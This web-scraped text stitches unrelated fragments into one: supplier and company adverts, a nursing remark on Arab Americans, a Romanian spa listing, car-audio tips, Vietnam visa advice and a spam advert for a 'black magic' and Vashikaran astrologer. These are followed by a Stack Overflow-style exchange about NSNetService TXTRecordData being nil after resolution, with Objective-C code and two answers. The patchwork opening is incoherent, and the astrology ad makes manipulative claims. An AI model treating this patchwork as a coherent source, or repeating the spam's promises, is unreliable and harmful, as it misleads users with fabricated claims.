parameter, provide showing room for customer also provide samples for testing。 After-sales: follow-up production schedule intime, provide the service like home delivery service, Changing or Refunding etc, provide technical parameters, such as size for PCB and drawing for driver, products drawing or technical guidance.
The precise quantity of Arab Americans is not known simply because they are reluctant to recognize themselves as being of Arabic descent out of a fear of possible unfavorable social reactions (De la Cruz & Brittingham, 2003). Individualised, holistic care can only be accomplished by understanding culture, beliefs and traditions, and a show of cultural competence.
Baile Figa Spa resort is located in the Transylvania area, near Beclean town in country Romania. Accommodation deals about cottages, guesthouses, holiday houses and private houses for rent. Natural mud treatment, saltwater lake, pools and beaches.
It is always worth considering, while upgrading your head unit isn't always the best place to start when you looking to get better quality. This is especially true if it doesn't have preamp outputs, or if your head unit is getting a little long in the tooth and you're looking at installing an amplifier.
Swalle company majors in intelligent electronic products such as intelligent wear ,Website:http://www.bluetoothclub.com,intelligent home furnishing and intelligent toys. It has two subsidiaries : Ruikun Electronic Co.,Ltd & Shenzhen Swalle Technology Co.,Ltd, both having a very strong OEM&ODM ability to provide good quality products with fast delivery.
Business, workshop, conference, study etc.) should contact your sponsor in Vietnam (host organization/partner/inviter) to obtain an approval letter from the Vietnam Immigration Department. Some countries are exempted from visas under unilateral or bilateral agreements with Vietnam, kindly check the exempted countries list in advance before submitting a visa request.
India's No 1 Lady Astrologer Devi Shaadiya ji Expert in all type of - Marriage problem, get Ex love Back for Control, Solution by with the Mantra of Black Magic specialist & Vashikaran Spells.


text:
Q: NSNetService's TXTRecordData nil after resolution So, here is my problem: My iOS app is advertising an NSNetService over the local network, service discovery is working good. I also know that I need to resolve my service before I am able to read it's TXTRecordData. In the service's -didPublish delegate method I made sure that my TXTRecordData is set up with an NSDictionary. So far, so good...
- (void)netServiceBrowser:(NSNetServiceBrowser *)aNetServiceBrowser
           didFindService:(NSNetService *)aNetService
               moreComing:(BOOL)moreComing
{
    if (!self.netServicesForResolution)
        self.netServicesForResolution = [[NSMutableArray alloc] init];

    NSLog(@"serviceBrowser found service: %@, with TXTRecordData: %@",
          aNetService, aNetService.TXTRecordData);
    [self.netServicesForResolution addObject:aNetService];
    if (!moreComing) [self resolveNetServicesInArray];
}

- (void)resolveNetServicesInArray
{
    for (NSNetService *service in self.netServicesForResolution) {
        service.delegate = self;
        [service resolveWithTimeout:5];
    }
}

- (void)netServiceDidResolveAddress:(NSNetService *)sender
{
    [self.netServicesForResolution removeObject:sender];
    NSString *dataDict = [NSKeyedUnarchiver unarchiveObjectWithData:sender.TXTRecordData];
    NSLog(@"freshly resolved netService has TXTRecordData: %@", dataDict);
}

If the -netServiceDidResolveAdress method gets called the app crashes because sender.TXTRecordData is nil. But why is it nil?
Thanks in advance for any of your answers :D

A: It appears that the TXT record data arrives separate from the "service available" notification. Inside of my netServiceBrowser:didFindService:moreComing: method I confirmed that the incoming NSNetService has an empty TXT record even though I attached a TXT record to it before publishing, but at some time later I received a netService:didUpdateTXTRecordData: call.

A: I can't speak to why TXTRecordData is nil, but you should be using +[NSNetService dictionaryFromTXTRecordData:] to get a NSDictionary instead of NSKeyedUnarchiver to get a NSString.